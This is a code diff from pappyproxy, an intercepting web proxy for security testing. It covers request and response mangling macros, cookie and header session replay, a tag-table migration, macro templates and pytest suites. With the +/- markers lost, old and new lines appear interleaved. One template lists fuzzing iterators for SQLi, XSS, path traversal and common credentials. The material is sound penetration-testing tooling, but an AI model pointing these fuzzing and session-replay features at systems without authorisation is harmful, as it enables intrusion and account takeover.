self.end_time = datetime.datetime.now()
log_request(console.printable_data(response.full_response), id=self.connection_id, symbol='<m', verbosity_level=3)
mangled_reqrsp_pair = yield mangle.mangle_response(response, self.connection_id)
if mangled_reqrsp_pair:
log_request(console.printable_data(mangled_reqrsp_pair.response.full_response),
id=self.connection_id, symbol='<', verbosity_level=3)
mangled_reqrsp_pair.time_start = self.start_time
mangled_reqrsp_pair.time_end = self.end_time
if context.in_scope(mangled_reqrsp_pair):
yield mangled_reqrsp_pair.deep_save()
self.data_defer.callback(mangled_reqrsp_pair)
log_request(console.printable_data(request.response.full_response), id=self.connection_id, symbol='<m', verbosity_level=3)
request.time_start = self.start_time
request.time_end = self.end_time
if context.in_scope(request):
if self.save_all:
yield request.async_deep_save()
# if we don't copy it, when we delete a macro from the console,
# we get a crash. We do a shallow copy to keep the macro
# instances the same.
to_mangle = copy.copy(self.intercepting_macros).iteritems()
old_rsp = request.response
for k, macro in to_mangle:
if macro.do_rsp:
if macro.async_rsp:
mangled_rsp = yield macro.async_mangle_response(request)
else:
mangled_rsp = macro.mangle_response(request)
if mangled_rsp is None:
request.response = None
self.data_defer.callback(request)
if self.save_all:
yield request.async_deep_save()
self.transport.loseConnection()
defer.returnValue(None)
request.response = mangled_rsp
if request.response != old_rsp:
request.response.unmangled = old_rsp
if self.save_all:
yield request.async_deep_save()
# re-check after all the mangling
context.filter_recheck()
if request.response:
log_request(console.printable_data(request.response.full_response),
id=self.connection_id, symbol='<', verbosity_level=3)
else:
self.log("Response out of scope, passing along unmangled")
self.data_defer.callback(request)
defer.returnValue(None)
class ProxyServerFactory(ServerFactory):
def __init__(self, save_all=False):
self.intercepting_macros = {}
self.save_all = save_all
def buildProtocol(self, addr):
prot = ProxyServer()
prot.factory = self
return prot
class ProxyServer(LineReceiver):
@ -244,8 +340,9 @@ class ProxyServer(LineReceiver):
if self._forward:
self.log("Forwarding to %s on %d" % (self._request_obj.host, self._request_obj.port))
factory = ProxyClientFactory(self._request_obj)
factory.proxy_server = self
factory = ProxyClientFactory(self._request_obj,
save_all=self.factory.save_all)
factory.intercepting_macros = self.factory.intercepting_macros
factory.connection_id = self.connection_id
factory.data_defer.addCallback(self.send_response_back)
if self._request_obj.is_ssl:

View file

@ -6,4 +6,4 @@ from pappyproxy import comm
def start_editor(reqid):
script_loc = os.path.join(os.path.dirname(__file__), "vim_repeater", "repeater.vim")
#print "RepeaterSetup %d %d"%(reqid, comm_port)
subprocess.call(["vim", "-S", script_loc, "-c", "RepeaterSetup %d %d"%(reqid, comm.comm_port)])
subprocess.call(["vim", "-S", script_loc, "-c", "RepeaterSetup %s %d"%(reqid, comm.comm_port)])

View file

@ -0,0 +1,34 @@
from pappyproxy import http
from twisted.internet import defer
"""
Schema v3
Description:
Adds tables to store tags associated with requests
"""
update_queries = [
"""
CREATE TABLE tags (
id INTEGER PRIMARY KEY AUTOINCREMENT,
tag TEXT NOT NULL
);
""",
"""
CREATE TABLE tagged (
reqid INTEGER REFERENCES requests(id),
tagid INTEGER REFERENCES tags(id)
);
""",
"""
UPDATE schema_meta SET version=3;
""",
]
@defer.inlineCallbacks
def update(dbpool):
for query in update_queries:
yield dbpool.runQuery(query)

82
pappyproxy/session.py Normal file
View file

@ -0,0 +1,82 @@
from .http import ResponseCookie
class Session(object):
def __init__(self, cookie_names=None, header_names=None,
cookie_vals=None, header_vals=None):
self.cookies = cookie_names or []
self.headers = header_names or []
self.cookie_vals = cookie_vals or {}
self.header_vals = header_vals or {}
if cookie_vals:
for k, v in cookie_vals.iteritems():
if k not in self.cookies:
self.cookies.append(k)
if header_vals:
for k, v in header_vals.iteritems():
if k not in self.headers:
self.headers.append(k)
def apply_req(self, req):
for k, v in self.cookie_vals.iteritems():
if isinstance(v, ResponseCookie):
req.cookies[v.key] = v.val
else:
req.cookies[k] = v
for k, v in self.header_vals.iteritems():
req.headers[k] = v
def apply_rsp(self, rsp):
for k, v in self.cookie_vals.iteritems():
if isinstance(v, ResponseCookie):
rsp.set_cookie(v)
else:
cookie_str = '%s=%s' % (k, v)
rsp.set_cookie(ResponseCookie(cookie_str))
# Don't apply headers to responses
def get_req(self, req, cookies=None, headers=None):
if cookies:
for c in cookies:
if c not in self.cookies:
self.cookies.append(c)
if headers:
for h in headers:
if h not in self.headers:
self.headers.append(h)
if cookies:
for cookie in cookies:
if cookie in req.cookies:
if cookie not in self.cookies:
self.cookies.append(cookie)
cookie_str = '%s=%s' % (cookie, req.cookies[cookie])
self.cookie_vals[cookie] = ResponseCookie(cookie_str)
else:
for k, v in req.cookies.all_pairs():
if k in self.cookies:
cookie_str = '%s=%s' % (k, v)
self.cookie_vals[cookie] = ResponseCookie(cookie_str)
if headers:
for header in headers:
if header in self.headers:
self.header_vals[header] = req.headers[header]
def get_rsp(self, rsp, cookies=None):
if cookies:
for c in cookies:
if c not in self.cookies:
self.cookies.append(c)
if cookies:
for cookie in cookies:
if cookie in rsp.cookies:
if cookie not in self.cookies:
self.cookies.append(cookie)
self.cookie_vals[cookie] = rsp.cookies[cookie]
else:
for k, v in rsp.cookies.all_pairs():
if v.key in self.cookies:
self.cookie_vals[v.key] = v

View file

View file

@ -0,0 +1,10 @@
from pappyproxy.session import Session
MACRO_NAME = '{{macro_name}}'
SHORT_NAME = '{{short_name}}'
def mangle_request(request):
return request
def mangle_response(request):
return request.response

View file

@ -0,0 +1,35 @@
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
from pappyproxy.iter import *
## Iterator cheat sheet:
# fuzz_path_trav() - Values for fuzzing path traversal
# fuzz_sqli() - Values for fuzzing SQLi
# fuzz_xss() - Values for fuzzing XSS
# common_passwords() - Common passwords
# common_usernames() - Common usernames
# fuzz_dirs() - Common web paths (ie /wp-admin)
MACRO_NAME = '{{macro_name}}'
SHORT_NAME = '{{short_name}}'
###########
## Requests
# It's suggested that you call .copy() on these and then edit attributes
# as needed to create modified requests
##
{% set count = 1 %}{% for params, lines in zip(req_params, req_lines) %}
req{{ count }} = Request(({% for line in lines %}
'{{ line }}'{% endfor %}{% set count = count+1 %}
){{ params }})
{% endfor %}
def run_macro(args):
# Example:
# req = req1.copy() # Copy req1
# req.submit() # Submit the request to get a response
# print req.response.raw_headers # print the response headers
# req.save() # save the request to the data file
# or copy req1 into a loop and use string substitution to automate requests
pass

View file

@ -56,21 +56,18 @@ def test_gen_filter_by_all_request():
# Cookie key
r = Request('GET / HTTP/1.1\r\n')
r.cookies['hello'] = 'world'
r.update_from_objects()
assert f(r)
assert not fn(r)
# Cookie value
r = Request('GET / HTTP/1.1\r\n')
r.cookies['world'] = 'hello'
r.update_from_objects()
assert f(r)
assert not fn(r)
# Nowhere in cookie
r = Request('GET / HTTP/1.1\r\n')
r.cookies['world'] = 'sucks'
r.update_from_objects()
assert not f(r)
assert fn(r)
@ -123,7 +120,6 @@ def test_gen_filter_by_all_response(http_request):
r = Response('HTTP/1.1 200 OK\r\n')
http_request.response = r
r.add_cookie(ResponseCookie('hello=goodbye'))
r.update_from_objects()
assert f(http_request)
assert not fn(http_request)
@ -131,7 +127,6 @@ def test_gen_filter_by_all_response(http_request):
r = Response('HTTP/1.1 200 OK\r\n')
http_request.response = r
r.add_cookie(ResponseCookie('goodbye=hello'))
r.update_from_objects()
assert f(http_request)
assert not fn(http_request)
@ -139,7 +134,6 @@ def test_gen_filter_by_all_response(http_request):
r = Response('HTTP/1.1 200 OK\r\n')
http_request.response = r
r.add_cookie(ResponseCookie('goodbye=for real'))
r.update_from_objects()
assert not f(http_request)
assert fn(http_request)
@ -153,7 +147,6 @@ def test_filter_by_host(http_request):
assert fn(http_request)
http_request.headers['Host'] = 'vim.sexy'
http_request.update_from_text()
assert http_request.host == 'vim.sexy'
assert f(http_request)
assert not fn(http_request)

View file

@ -1,4 +1,5 @@
import base64
import copy
import gzip
import json
import pytest
@ -6,6 +7,7 @@ import StringIO
import zlib
from pappyproxy.pappy import http
from pappyproxy.util import PappyException
####################
# Helper Functions
@ -201,7 +203,7 @@ def test_length_overflow():
# Test throwing an exception when adding data after complete
l = http.LengthData(100)
l.add_data('A'*100)
with pytest.raises(http.DataAlreadyComplete):
with pytest.raises(PappyException):
l.add_data('A')
def test_repeatable_dict_simple():
@ -391,7 +393,6 @@ def test_request_simple():
assert r.complete
assert r.fragment == None
assert r.full_request == headers+data
assert r.header_len == len(headers)
assert r.headers_complete
assert r.host == 'www.test.com'
assert r.is_ssl == False
@ -424,8 +425,8 @@ def test_request_urlparams():
def test(r):
assert r.complete
assert r.fragment == 'frag'
assert r.get_params['p1'] == 'foo'
assert r.get_params['p2'] == 'bar'
assert r.url_params['p1'] == 'foo'
assert r.url_params['p2'] == 'bar'
assert r.full_request == ('GET /?p1=foo&p2=bar#frag HTTP/1.1\r\n'
'Content-Length: 0\r\n'
'\r\n')
@ -444,8 +445,8 @@ def test_request_questionmark_url():
def test(r):
assert r.complete
assert r.fragment == 'frag'
assert r.get_params['?/to/?p1'] == 'foo'
assert r.get_params['p2'] == 'bar'
assert r.url_params['?/to/?p1'] == 'foo'
assert r.url_params['p2'] == 'bar'
assert r.full_request == ('GET /path/??/to/?p1=foo&p2=bar#frag HTTP/1.1\r\n'
'Content-Length: 0\r\n'
'\r\n')
@ -472,6 +473,22 @@ def test_request_postparams():
test(ru)
test(rj)
def test_post_params_update():
r = http.Request(('GET / HTTP/1.1\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 7\r\n\r\n'
'a=b&c=d'))
r.post_params['c'] = 'e'
assert r.full_request == ('GET / HTTP/1.1\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 7\r\n\r\n'
'a=b&c=e')
r.post_params['a'] = 'f'
assert r.full_request == ('GET / HTTP/1.1\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 7\r\n\r\n'
'a=f&c=e')
def test_headers_end():
header_lines = [
'GET / HTTP/1.1',
@ -632,20 +649,22 @@ def test_request_to_json():
r = http.Request()
r.status_line = 'GET / HTTP/1.1'
r.headers['content-length'] = 500
r.tags = ['foo', 'bar']
r.raw_data = 'AAAA'
r.reqid = 1
r.reqid = '1'
rsp = http.Response()
rsp.status_line = 'HTTP/1.1 200 OK'
rsp.rspid = 2
rsp.rspid = '2'
r.response = rsp
expected_reqdata = {u'full_request': unicode(base64.b64encode(r.full_request)),
u'response_id': rsp.rspid,
u'response_id': str(rsp.rspid),
u'port': 80,
u'is_ssl': False,
u'reqid': r.reqid,
u'tags': ['foo', 'bar'],
u'reqid': str(r.reqid),
}
assert json.loads(r.to_json()) == expected_reqdata
@ -659,7 +678,7 @@ def test_request_update_content_length():
'Content-Length: 10\r\n\r\n'
'AAAAAAAAAA'))
def test_request_blank_get_params():
def test_request_blank_url_params():
r = http.Request()
r.add_line('GET /this/??-asdf/ HTTP/1.1')
assert r.full_request == ('GET /this/??-asdf/ HTTP/1.1\r\n\r\n')
@ -667,9 +686,9 @@ def test_request_blank_get_params():
r = http.Request()
r.add_line('GET /this/??-asdf/?a=b&c&d=ef HTTP/1.1')
assert r.full_request == ('GET /this/??-asdf/?a=b&c&d=ef HTTP/1.1\r\n\r\n')
assert r.get_params['?-asdf/?a'] == 'b'
assert r.get_params['c'] == None
assert r.get_params['d'] == 'ef'
assert r.url_params['?-asdf/?a'] == 'b'
assert r.url_params['c'] == None
assert r.url_params['d'] == 'ef'
def test_request_blank():
r = http.Request('\r\n\n\n')
@ -726,7 +745,7 @@ def test_request_set_url():
def test_request_set_url_params():
r = http.Request('GET / HTTP/1.1\r\n')
r.url = 'www.AAAA.BBBB?a=b&c=d#foo'
assert r.get_params.all_pairs() == [('a','b'), ('c','d')]
assert r.url_params.all_pairs() == [('a','b'), ('c','d')]
assert r.fragment == 'foo'
assert r.url == 'http://www.AAAA.BBBB?a=b&c=d#foo'
r.port = 400
@ -734,6 +753,24 @@ def test_request_set_url_params():
r.is_ssl = True
assert r.url == 'https://www.AAAA.BBBB:400?a=b&c=d#foo'
def test_request_copy():
r = http.Request(('GET / HTTP/1.1\r\n'
'Content-Length: 4\r\n\r\n'
'AAAA'))
r2 = copy.copy(r)
assert r2.full_request == ('GET / HTTP/1.1\r\n'
'Content-Length: 4\r\n\r\n'
'AAAA')
def test_request_url_blankpath():
r = http.Request()
r.status_line = 'GET / HTTP/1.1'
r.url = 'https://www.google.com'
r.headers['Host'] = r.host
r.url_params.from_dict({'foo': 'bar'})
assert r.full_path == '/?foo=bar'
assert r.url == 'https://www.google.com?foo=bar'
####################
## Response tests
@ -749,11 +786,9 @@ def test_response_simple():
'',
]
data = 'A'*100
header_len = len('\r\n'.join(header_lines)+'\r\n')
rf, rl, ru, rj = rsp_by_lines_and_full(header_lines, data)
def test(r):
assert r.complete
assert r.header_len == header_len
assert r.raw_data == data
assert r.response_code == 200
assert r.response_text == 'OK'
@ -1100,3 +1135,55 @@ def test_response_newlines():
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 4\r\n\r\n'
'AAAA')
def test_copy_response():
r = http.Response(('HTTP/1.1 200 OK\r\n'
'Content-Length: 4\r\n\r\n'
'AAAA'))
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 4\r\n\r\n'
'AAAA')
r2 = copy.copy(r)
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 4\r\n\r\n'
'AAAA')
def test_response_add_cookie():
r = http.Response(('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n'
'Set-Cookie: foo=bar\r\n\r\n'))
r.add_cookie(http.ResponseCookie('foo=baz'))
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n'
'Set-Cookie: foo=bar\r\n'
'Set-Cookie: foo=baz\r\n\r\n')
def test_response_set_cookie():
r = http.Response(('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n'))
r.set_cookie(http.ResponseCookie('foo=bar'))
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n'
'Set-Cookie: foo=bar\r\n\r\n')
r.set_cookie(http.ResponseCookie('foo=baz'))
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n'
'Set-Cookie: foo=baz\r\n\r\n')
def test_response_delete_cookie():
r = http.Response(('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n'
'Set-Cookie: foo=bar\r\n\r\n'))
r.delete_cookie('foo')
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n\r\n')
r = http.Response(('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n'
'Set-Cookie: foo=bar\r\n'
'Set-Cookie: foo=baz\r\n\r\n'))
r.delete_cookie('foo')
assert r.full_response == ('HTTP/1.1 200 OK\r\n'
'Content-Length: 0\r\n\r\n')

View file

@ -0,0 +1,209 @@
import pytest
import mock
import pappyproxy
from pappyproxy.mangle import async_mangle_request, async_mangle_response
from pappyproxy.http import Request, Response
from testutil import no_tcp, no_database, func_deleted, mock_deferred, mock_deep_save, fake_saving
def retf(r):
return False
@pytest.fixture
def ignore_edit(mocker):
new_edit = mock.MagicMock()
new_edit.return_value = mock_deferred(None)
mocker.patch('pappyproxy.console.edit_file', new=new_edit)
@pytest.fixture
def ignore_delete(mocker):
new_os_remove = mock.MagicMock()
mocker.patch('os.remove', new=new_os_remove)
return new_os_remove
@pytest.fixture(autouse=True)
def no_logging(mocker):
mocker.patch('pappyproxy.proxy.log')
@pytest.fixture
def req():
r = Request()
r.status_line = 'GET / HTTP/1.1'
r.host = 'www.ffffff.eeeeee'
r.raw_data = 'AAAA'
return r
@pytest.fixture
def req_w_rsp(req):
r = Response()
r.status_line = 'HTTP/1.1 200 OK'
r.headers['Test-Header'] = 'ABC123'
r.raw_data = 'AAAA'
req.response = r
return req
@pytest.fixture
def mock_tempfile(mocker):
new_tfile_obj = mock.MagicMock()
tfile_instance = mock.MagicMock()
new_tfile_obj.return_value.__enter__.return_value = tfile_instance
tfile_instance.name = 'mockTemporaryFile'
mocker.patch('tempfile.NamedTemporaryFile', new=new_tfile_obj)
new_open = mock.MagicMock()
fake_file = mock.MagicMock(spec=file)
new_open.return_value.__enter__.return_value = fake_file
mocker.patch('__builtin__.open', new_open)
return (new_tfile_obj, tfile_instance, new_open, fake_file)
########################
## Test request mangling
@pytest.inlineCallbacks
def test_mangle_request_edit(req, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req
new_contents = ('GET / HTTP/1.1\r\n'
'Content-Length: 4\r\n\r\n'
'BBBB')
fake_file.read.return_value = new_contents
new_req = yield async_mangle_request(r)
assert not mock_deep_save.called
assert tfile_obj.called
assert tfile_instance.write.called
assert tfile_instance.write.call_args == ((r.full_request,),)
assert new_open.called
assert fake_file.read.called
assert new_req.full_request == new_contents
@pytest.inlineCallbacks
def test_mangle_request_edit_newlines(req, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
# Intercepting is off, request in scope
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req
new_contents = ('GET / HTTP/1.1\r\n'
'Test-Head: FOOBIE\n'
'Content-Length: 4\n\r\n'
'BBBB')
fake_file.read.return_value = new_contents
new_req = yield async_mangle_request(r)
assert new_req.full_request == ('GET / HTTP/1.1\r\n'
'Test-Head: FOOBIE\r\n'
'Content-Length: 4\r\n\r\n'
'BBBB')
assert new_req.headers['Test-Head'] == 'FOOBIE'
@pytest.inlineCallbacks
def test_mangle_request_drop(req, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
# Intercepting is off, request in scope
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req
new_contents = ''
fake_file.read.return_value = new_contents
new_req = yield async_mangle_request(r)
assert new_req is None
@pytest.inlineCallbacks
def test_mangle_request_edit_len(req, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
# Intercepting is off, request in scope
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req
new_contents = ('GET / HTTP/1.1\r\n'
'Test-Head: FOOBIE\n'
'Content-Length: 4\n\r\n'
'BBBBAAAA')
fake_file.read.return_value = new_contents
new_req = yield async_mangle_request(r)
assert new_req.full_request == ('GET / HTTP/1.1\r\n'
'Test-Head: FOOBIE\r\n'
'Content-Length: 8\r\n\r\n'
'BBBBAAAA')
#########################
## Test response mangling
@pytest.inlineCallbacks
def test_mangle_response_edit(req_w_rsp, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
# Intercepting is on, edit
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req_w_rsp
old_rsp = r.response.full_response
new_contents = ('HTTP/1.1 403 NOTOKIEDOKIE\r\n'
'Content-Length: 4\r\n'
'Other-Header: foobles\r\n\r\n'
'BBBB')
fake_file.read.return_value = new_contents
mangled_rsp = yield async_mangle_response(r)
assert not mock_deep_save.called
assert tfile_obj.called
assert tfile_instance.write.called
assert tfile_instance.write.call_args == ((old_rsp,),)
assert new_open.called
assert fake_file.read.called
assert mangled_rsp.full_response == new_contents
@pytest.inlineCallbacks
def test_mangle_response_newlines(req_w_rsp, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
# Intercepting is off, request in scope
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req_w_rsp
old_rsp = r.response.full_response
new_contents = ('HTTP/1.1 403 NOTOKIEDOKIE\n'
'Content-Length: 4\n'
'Other-Header: foobles\r\n\n'
'BBBB')
fake_file.read.return_value = new_contents
mangled_rsp = yield async_mangle_response(r)
assert mangled_rsp.full_response == ('HTTP/1.1 403 NOTOKIEDOKIE\r\n'
'Content-Length: 4\r\n'
'Other-Header: foobles\r\n\r\n'
'BBBB')
assert mangled_rsp.headers['Other-Header'] == 'foobles'
@pytest.inlineCallbacks
def test_mangle_response_drop(req_w_rsp, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
# Intercepting is off, request in scope
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req_w_rsp
old_rsp = r.response.full_response
new_contents = ''
fake_file.read.return_value = new_contents
mangled_rsp = yield async_mangle_response(r)
assert mangled_rsp is None
@pytest.inlineCallbacks
def test_mangle_response_new_len(req_w_rsp, mock_deep_save, mock_tempfile,
ignore_edit, ignore_delete):
# Intercepting is off, request in scope
tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
r = req_w_rsp
old_rsp = r.response.full_response
new_contents = ('HTTP/1.1 403 NOTOKIEDOKIE\n'
'Content-Length: 4\n'
'Other-Header: foobles\r\n\n'
'BBBBAAAA')
fake_file.read.return_value = new_contents
mangled_rsp = yield async_mangle_response(r)
assert mangled_rsp.full_response == ('HTTP/1.1 403 NOTOKIEDOKIE\r\n'
'Content-Length: 8\r\n'
'Other-Header: foobles\r\n\r\n'
'BBBBAAAA')

View file

@ -1,11 +1,14 @@
import os
import pytest
import mock
import twisted.internet
import twisted.test
from pappyproxy import http
from pappyproxy import macros
from pappyproxy import mangle
from pappyproxy.proxy import ProxyClient, ProxyClientFactory, ProxyServer
from pappyproxy import config
from pappyproxy.proxy import ProxyClient, ProxyClientFactory, ProxyServerFactory
from testutil import mock_deferred, func_deleted, func_ignored_deferred, func_ignored, no_tcp
from twisted.internet.protocol import ServerFactory
from twisted.test.iosim import FakeTransport
@ -14,12 +17,14 @@ from twisted.internet import defer, reactor
####################
## Fixtures
MANGLED_REQ = 'GET /mangled HTTP/1.1\r\n\r\n'
MANGLED_RSP = 'HTTP/1.1 500 MANGLED\r\n\r\n'
@pytest.fixture
def unconnected_proxyserver(mocker):
mocker.patch("twisted.test.iosim.FakeTransport.startTLS")
mocker.patch("pappyproxy.proxy.load_certs_from_dir", new=mock_generate_cert)
factory = ServerFactory()
factory.protocol = ProxyServer
factory = ProxyServerFactory()
protocol = factory.buildProtocol(('127.0.0.1', 0))
protocol.makeConnection(FakeTransport(protocol, True))
return protocol
@ -28,8 +33,7 @@ def unconnected_proxyserver(mocker):
def proxyserver(mocker):
mocker.patch("twisted.test.iosim.FakeTransport.startTLS")
mocker.patch("pappyproxy.proxy.load_certs_from_dir", new=mock_generate_cert)
factory = ServerFactory()
factory.protocol = ProxyServer
factory = ProxyServerFactory()
protocol = factory.buildProtocol(('127.0.0.1', 0))
protocol.makeConnection(FakeTransport(protocol, True))
protocol.lineReceived('CONNECT https://www.AAAA.BBBB:443 HTTP/1.1')
@ -40,26 +44,40 @@ def proxyserver(mocker):
@pytest.fixture
def proxy_connection():
@defer.inlineCallbacks
def gen_connection(send_data):
def gen_connection(send_data, new_req=False, new_rsp=False,
drop_req=False, drop_rsp=False):
factory = ProxyClientFactory(http.Request(send_data))
macro = gen_mangle_macro(new_req, new_rsp, drop_req, drop_rsp)
factory.intercepting_macros['pappy_mangle'] = macro
protocol = factory.buildProtocol(None)
tr = FakeTransport(protocol, True)
protocol.makeConnection(tr)
sent = yield protocol.data_defer
print sent
defer.returnValue((protocol, sent, factory.data_defer))
return gen_connection
@pytest.fixture
def in_scope_true(mocker):
new_in_scope = mock.MagicMock()
new_in_scope.return_value = True
mocker.patch("pappyproxy.context.in_scope", new=new_in_scope)
return new_in_scope
@pytest.fixture
def in_scope_false(mocker):
new_in_scope = mock.MagicMock()
new_in_scope.return_value = False
mocker.patch("pappyproxy.context.in_scope", new=new_in_scope)
return new_in_scope
## Autorun fixtures
# @pytest.fixture(autouse=True)
# def no_mangle(mocker):
# # Don't call anything in mangle.py
# mocker.patch("mangle.mangle_request", notouch_mangle_req)
# mocker.patch("mangle.mangle_response", notouch_mangle_rsp)
@pytest.fixture(autouse=True)
def ignore_save(mocker):
mocker.patch("pappyproxy.http.Request.deep_save", func_ignored_deferred)
mocker.patch("pappyproxy.http.Request.async_deep_save", func_ignored_deferred)
####################
## Mock functions
@ -117,32 +135,56 @@ def mock_generate_cert(cert_dir):
'-----END CERTIFICATE-----')
return (ca_key, private_key)
def notouch_mangle_req(request, conn_id):
orig_req = http.Request(request.full_request)
orig_req.port = request.port
orig_req.is_ssl = request.is_ssl
d = mock_deferred(orig_req)
def gen_mangle_macro(modified_req=None, modified_rsp=None,
drop_req=False, drop_rsp=False):
macro = mock.MagicMock()
if modified_req or drop_req:
macro.async_req = True
macro.do_req = True
if drop_req:
newreq = None
else:
newreq = http.Request(modified_req)
macro.async_mangle_request.return_value = mock_deferred(newreq)
else:
macro.do_req = False
if modified_rsp or drop_rsp:
macro.async_rsp = True
macro.do_rsp = True
if drop_rsp:
newrsp = None
else:
newrsp = http.Response(modified_rsp)
macro.async_mangle_response.return_value = mock_deferred(newrsp)
else:
macro.do_rsp = False
return macro
def notouch_mangle_req(request):
d = mock_deferred(request)
return d
def notouch_mangle_rsp(response, conn_id):
req = http.Request()
orig_rsp = http.Response(response.full_response)
req.response = orig_rsp
d = mock_deferred(req)
def notouch_mangle_rsp(request):
d = mock_deferred(request.response)
return d
def req_mangler_change(request, conn_id):
def req_mangler_change(request):
req = http.Request('GET /mangled HTTP/1.1\r\n\r\n')
d = mock_deferred(req)
return d
def rsp_mangler_change(request, conn_id):
req = http.Request()
def rsp_mangler_change(request):
rsp = http.Response('HTTP/1.1 500 MANGLED\r\n\r\n')
req.response = rsp
d = mock_deferred(req)
d = mock_deferred(rsp)
return d
def req_mangler_drop(request):
return mock_deferred(None)
def rsp_mangler_drop(request):
return mock_deferred(None)
####################
## Unit test tests
@ -165,14 +207,14 @@ def test_deleted():
####################
## Proxy Server Tests
def test_proxy_server_connect(unconnected_proxyserver, mocker):
def test_proxy_server_connect(unconnected_proxyserver, mocker, in_scope_true):
mocker.patch("twisted.internet.reactor.connectSSL")
unconnected_proxyserver.lineReceived('CONNECT https://www.dddddd.fff:433 HTTP/1.1')
unconnected_proxyserver.lineReceived('')
assert unconnected_proxyserver.transport.getOutBuffer() == 'HTTP/1.1 200 Connection established\r\n\r\n'
assert unconnected_proxyserver._request_obj.is_ssl
def test_proxy_server_basic(proxyserver, mocker):
def test_proxy_server_basic(proxyserver, mocker, in_scope_true):
mocker.patch("twisted.internet.reactor.connectSSL")
mocker.patch('pappyproxy.proxy.ProxyServer.setRawMode')
proxyserver.lineReceived('GET / HTTP/1.1')
@ -184,37 +226,60 @@ def test_proxy_server_basic(proxyserver, mocker):
assert args[1] == 443
@pytest.inlineCallbacks
def test_proxy_client_basic(mocker, proxy_connection):
mocker.patch('pappyproxy.mangle.mangle_request', new=notouch_mangle_req)
mocker.patch('pappyproxy.mangle.mangle_response', new=notouch_mangle_rsp)
def test_proxy_client_nomangle(mocker, proxy_connection, in_scope_true):
# Make the connection
(prot, sent, resp_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
assert sent == 'GET / HTTP/1.1\r\n\r\n'
(prot, sent, retreq_deferred) = \
yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, None)
assert sent.full_request == 'GET / HTTP/1.1\r\n\r\n'
prot.lineReceived('HTTP/1.1 200 OK')
prot.lineReceived('Content-Length: 0')
prot.lineReceived('')
ret_req = yield resp_deferred
ret_req = yield retreq_deferred
response = ret_req.response.full_response
assert response == 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n'
@pytest.inlineCallbacks
def test_proxy_client_mangle_req(mocker, proxy_connection):
mocker.patch('pappyproxy.mangle.mangle_request', new=req_mangler_change)
mocker.patch('pappyproxy.mangle.mangle_response', new=notouch_mangle_rsp)
def test_proxy_client_mangle_req(mocker, proxy_connection, in_scope_true):
# Make the connection
(prot, sent, resp_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
assert sent == 'GET /mangled HTTP/1.1\r\n\r\n'
(prot, sent, retreq_deferred) = \
yield proxy_connection('GET / HTTP/1.1\r\n\r\n', MANGLED_REQ, None)
assert sent.full_request == 'GET /mangled HTTP/1.1\r\n\r\n'
@pytest.inlineCallbacks
def test_proxy_client_basic(mocker, proxy_connection):
mocker.patch('pappyproxy.mangle.mangle_request', new=notouch_mangle_req)
mocker.patch('pappyproxy.mangle.mangle_response', new=rsp_mangler_change)
def test_proxy_client_mangle_rsp(mocker, proxy_connection, in_scope_true):
# Make the connection
(prot, sent, resp_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
(prot, sent, retreq_deferred) = \
yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, MANGLED_RSP)
prot.lineReceived('HTTP/1.1 200 OK')
prot.lineReceived('Content-Length: 0')
prot.lineReceived('')
ret_req = yield resp_deferred
response = ret_req.response.full_response
req = yield retreq_deferred
response = req.response.full_response
assert response == 'HTTP/1.1 500 MANGLED\r\n\r\n'
@pytest.inlineCallbacks
def test_proxy_drop_req(mocker, proxy_connection, in_scope_true):
(prot, sent, retreq_deferred) = \
yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, None, True, False)
assert sent is None
@pytest.inlineCallbacks
def test_proxy_drop_rsp(mocker, proxy_connection, in_scope_true):
(prot, sent, retreq_deferred) = \
yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, None, False, True)
prot.lineReceived('HTTP/1.1 200 OK')
prot.lineReceived('Content-Length: 0')
prot.lineReceived('')
retreq = yield retreq_deferred
assert retreq.response is None
@pytest.inlineCallbacks
def test_proxy_client_360_noscope(mocker, proxy_connection, in_scope_false):
# Make the connection
(prot, sent, retreq_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
assert sent.full_request == 'GET / HTTP/1.1\r\n\r\n'
prot.lineReceived('HTTP/1.1 200 OK')
prot.lineReceived('Content-Length: 0')
prot.lineReceived('')
req = yield retreq_deferred
assert req.response.full_response == 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n'

View file

@ -0,0 +1,104 @@
